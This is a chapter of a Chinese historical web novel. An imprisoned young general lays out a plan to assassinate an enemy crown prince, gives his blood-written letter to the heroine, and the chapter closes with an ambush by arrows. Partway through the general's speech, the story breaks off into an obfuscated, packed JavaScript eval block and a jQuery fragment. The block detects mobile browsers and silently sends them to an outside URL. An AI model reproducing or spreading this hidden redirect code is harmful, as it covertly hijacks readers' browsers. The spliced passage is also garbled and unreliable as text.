不敢错过一个字。 听到最后,她眉头一皱:“可是,怎么引出赤盏兰策?” “有一人隐藏在主战派当中,不会被北燕的人太过防备。”严丹青当然不会漏掉关键,又说,“你带着令牌去西市玉银楼,就能联系上那人,让他配合你,再按照刚刚说的计划执行,定能杀掉赤盏兰策。” 他语气云淡风轻,仿佛不是在筹划杀掉北燕太子,而是说着天气。 叶惜人听完,倒吸一口冷气。 ——果然都是狠人啊。 她还在想有没有办法拖延一天时间,这位已经在计划怎么对赤盏兰策一击必中,关在牢这段时间,是一点没闲着。 “那要是没人来诏狱,你的计划又该怎么办?”叶惜人眼神复杂,将人关在这里,不管是蒋游还是参政都为主和派,就肯定不会让主战派见到人。 如果她没有想法子进来,这计划怎么办? 严丹青一笑,声音笃定: “会来的。” 该见面的人,总是会相见。 叶惜人看着他,只觉这人眼神有些奇怪,但她并未多想,眼下时间紧迫,哪里浪费得起,便又坐直身体,问道:“我拿着令牌之后去找谁?” “马山。”严丹青吐出一个名字。 叶惜人:“??” 她拔高声音:“马山?就是那个身材魁梧,腰间挂着镰刀的流民马山?” 这也太巧了吧! “你见过他了?”严丹青有些诧异,“他是我的亲卫,刺杀之前他带人扮作流民混进了南都,等待命令,以备不时之需,你只要给他看令牌,他就会无条件听命于你。” 叶惜人沉默片刻,还是老实回答: “我觉得或许不用令牌,也能让他帮我……毕竟,他现在就在门口等着。” 严丹青再次愣住。 随即,他突然笑出声,明明是这样危险的时刻,明明是你死我活的生死一线,他竟然笑得开怀,抬起下巴,乱糟糟的头发露出了脸,眉目舒展,好似冰雪消融,三月三未曾有时间见到的春色,只在一笑之间。 叶惜人此时才察觉,严小将军……长得有点俊哦。 ——比她哥还好看。 严丹青笑罢,语气中仍有笑意,“那挺好的,我还担心你同严家军配合不默契,如今看来,倒是不必担心了,严家军不止他一人,我被关押之后,淮安渠一定会秘密派严家军的高手过来,你拿着令牌,让马山帮你召集其他人,听你吩咐。” 叶惜人深吸一口气,将其他情绪摒弃,凝重地点点头。 “只要赤盏兰策一死,朝廷内部必定生乱,顾不得其他,叶尚书在大理寺收到消息,就会知道替我顶罪已经无用,叶家的危机便能化解。”严丹青轻声说着。 如此,不仅化解叶家麻烦,还成功阻止和谈,釜底抽薪,北燕太子都没了,哪还有和谈的可能? 将胜负交给淮安渠正面战场,而不是背后阴谋,更不会被和谈一计窃走大梁王朝。 这就是眼下最好的结局了。 说完,他再次抬起手。 铁链“哗啦”响动,他只要一动,那些铁链就会拉扯着他的身体,固定的地方带着铁刺,瞬间鲜血淋漓。 叶惜人皱眉。 严丹青没管伤口,疼痛更没让他皱一下眉头,只从袖口里面抽出一块破布,上面早已用鲜血写好书信,他递给叶惜人。 两人隔着栅栏,他又被固定在里面,抬起的手往前伸,这动作困难,鲜血一点点染红衣衫。 叶惜人赶忙坐起来,扒着栏杆朝里面伸出手,身体几乎贴在铁栅栏上,指尖往前,够到了血书,没让人继续忍着痛递过来。 严丹青一愣。 叶惜人已经在看血书了,而越是看她眉头皱得越紧,心里有些难受,抬头看向严小将军,一言不发。 ——这是写给严家军的血书。 严丹青扯了扯嘴角,轻声道:“严家军不能乱,杀掉赤盏兰策之后,你让马山带着这封血书尽快返回淮安渠,稳定军心。” 叶惜人越发难受,乌黑的眼睛紧紧盯着牢里面被无数条铁链束缚的人,声音轻的像是瞬间消散在风里: “严小将军,可是你还没有说完,你的人杀了赤盏兰策、阻止和谈,朝中的人,甚至天下百姓都不会知晓和谈其实是一个阴谋,只会认为你在祸害大梁,引动战乱。 “你将成为铁板钉钉的逆党,即便淮安渠没有守将、即便你天赋卓绝,圣上也不敢放你去带兵打仗,你……必死无疑。” 计划很好,能杀赤盏兰策。 但这些都有一个代价,就是严丹青会牺牲自己,他将随着赤盏兰策一起死,再无脱罪可能。 她只需要转达计划、送出东西,不会暴露自己,可那些严家军的人却并非无人认识,更不可能没有伤亡。 事后一查,就知道是谁的人,又是谁动手。 “所以我准备了血书,一定要让马山带回淮安渠,即便我死了,也不能让严家军乱起来,中了那北燕诡计。”严丹青回答。 ——她根本不是这个意思! 叶惜人心里难受。 严小将军越是顾全大局,她就越是对他的遭遇心酸。 见她如此,严丹青轻声安慰:“没关系,我早已经出不去,能带走赤盏兰策就是最好。” 他对大梁很重要,赤盏兰策对北燕同样重要,他们一起死掉,正面战场仍然还有获胜的可能,不至于走入已知的绝境之中。 叶惜人咬咬唇,她还是没忍住,问了出来: “值得吗?自你严家镇守边关开始,忠勇侯世代皆战死沙场,严家就剩下你一个人,明明英勇善战,力挽狂澜,又带领严家军死守国门,却还是被冤下狱……如此委屈,为何还要继续救国?” 严丹青一愣。 随即,他笑道:“你有没有去见过真正的大梁?” 叶惜人摇摇头。 严丹青望着她,视线像是透过她乌黑干净的眼睛,看到很远很远的地方,看到千里江山,看到万家灯火。 “我自小生活在十六州的北漠,那是一个苍茫辽阔的世界,我父兄带我驰骋在草原之上,我娘带着牧民们放羊猎马,天高海阔,牧民围着篝火唱歌跳舞,纵情一生。后来,北漠被攻陷,北燕占领十六州,牧民们死的死、逃的逃,草原上什么都没有了。” “我被人带到了白平原,那里是中原腹地,盛产粟麦,是供养着无数人的粮田,只要风调雨顺,金黄色的大块麦田绵延,随风翻起麦浪,是这片土地之上最美的景色。再后来,白平原被北燕军占领,铁蹄踏过农田,战火烧毁麦浪。” “我又到了渭水城,战乱之中,饿殍遍地,尽是尸骸,我和一群流亡的兵士、失土的农人组成了严家军,锄头是我们的枪,镰刀是我们的剑,肉身是我们的盾牌。” “如今我囚于南都,江南水乡,富饶婉转,却又风雨飘摇……神州大地,三百多万里、万万百姓,大梁是所有人的大梁,不仅仅是如今高堂之上,为‘和与战’争论不休的官员们的大梁。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16339290|182440||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “覆巢之下,焉有完卵?城破国亡那一刻,那些权势滔天之人,或卖国,或逃亡,他们总有办法活下去,但平民百姓不是。” 严丹青摇摇头,眼神怅惘: “城破国亡,他们活不了,躲不过。” 以战止战,才能迎来太平年。 他不为朝廷而死,只为这三百多万里国土、万万百姓。 叶惜人愣怔在原地,一双眼睛呆呆望着严丹青,那些话仿佛还在耳边回荡,振聋发聩,只在这一瞬间,她好像明白为什么她爹等人要不惜一切、哪怕付诸生命,也要保住这个人。 朝中主战派都与严丹青不相熟,但他们无比默契,因为,他们在做同一件事,他们保护着同一个目的。 叶沛是,白成光是,郑文觉是。 严丹青以及守在淮安渠的数万将士,亦是。 “好了没?”伴随着陆仟的喊声,有脚步响起。 叶惜人立刻站起来,一把将血书塞进怀里藏好,深吸一口气,眼神坚定,“严小将军放心,这件事交给我。” 说完,她转身大步离开。 而在走入暗道后,她又猛地转身跑回来,气喘吁吁,扬声问道:“严小将军,你叫什么来着?” 或许从此以后,他都将成为“逆党”,写在大梁的罪人录上,但叶惜人想记得他的名与字,在有生之年,牢牢铭记这位想要改写结局的严小将军。 “教命急也的‘严’,我与丹青两幻身的‘丹青’,”严丹青闻言一笑,回答:“我名严丹青,父母为我取字‘春昼’。” 严丹青,字春昼。 他着一身镣铐端坐破牢当中,身上的伤口与一根根链条都不能影响他分毫,这里困着他,又困不住他,烛火跳动,半明半暗之间,双眸熠熠生彩,仿佛能照破这寂静的暗夜。 叶惜人眼眶湿润,她从前怎么会认为严小将军是个凶蛮逆党呢? 春昼,明明是一个生机盎然的名字。 却是拨雪见春,烧灯续昼,他分明是在用自己的一条命、一身血,为这个王朝点灯续命。 叶惜人眨了眨眼睛,将湿意收回去,提起裙摆,大步往外面走去。 - “总算是出来了。”陆仟上下打量她,“我若不是知道你们不相识,或许会以为你是来和情郎道别,依依不舍……” 叶惜人顿时沉了脸,冷笑:“淫者见淫,陆仟,卖国贼别用你狭隘的眼睛去看严小将军。” “你——” 陆仟气得手一紧,握住长刀,眼神阴毒,“我看你能撑多久,早晚落在我手上,必要你生不如死。” 叶惜人垂下眼眸,遮住眼中杀意。 等她召集严丹青的人手杀了赤盏兰策后,必要把这卖国贼也一并宰了! 两人离开诏狱。 叶惜人神情严肃,还有很多事情要做,时间一点点过去,已经浪费不得,整个计划不算简单,她必须抓紧。 正要带马山离开这里,她倏地眉心一跳,不知道为什么,一阵不祥的气息涌来,连风声都变得怪异,她几乎一瞬间没了心跳。 “咻咻——” 几支箭矢突然射来,划破长空,带来凛冽杀意。 陆仟闷哼一声,不可置信地低下头去。 心脏处被一支利箭穿透,鲜血一点点溢出,看着箭矢上面的北燕暗符,陆仟带着满脸震惊与不解,笔挺挺倒下,断了气息,周围惊呼声不断。 叶惜人看着陆仟倒下,瞳孔一缩,下意识抬头看去。 对面屋顶之上,一支人马安安静静伫立在那里,领头之人模样熟悉,灰蓝色毛领衬得人如谪仙,风姿缥缈,眉目含笑,但一双眼睛里面,冰冷又无情。 他手上端着弓弩,上挑的眼眸紧紧盯着叶惜人,唇无声动了动。 ——赤盏兰策! 脑海中闪过这个名字时,弓弩放出的箭矢早已到了叶惜人眼前…… 一箭穿喉!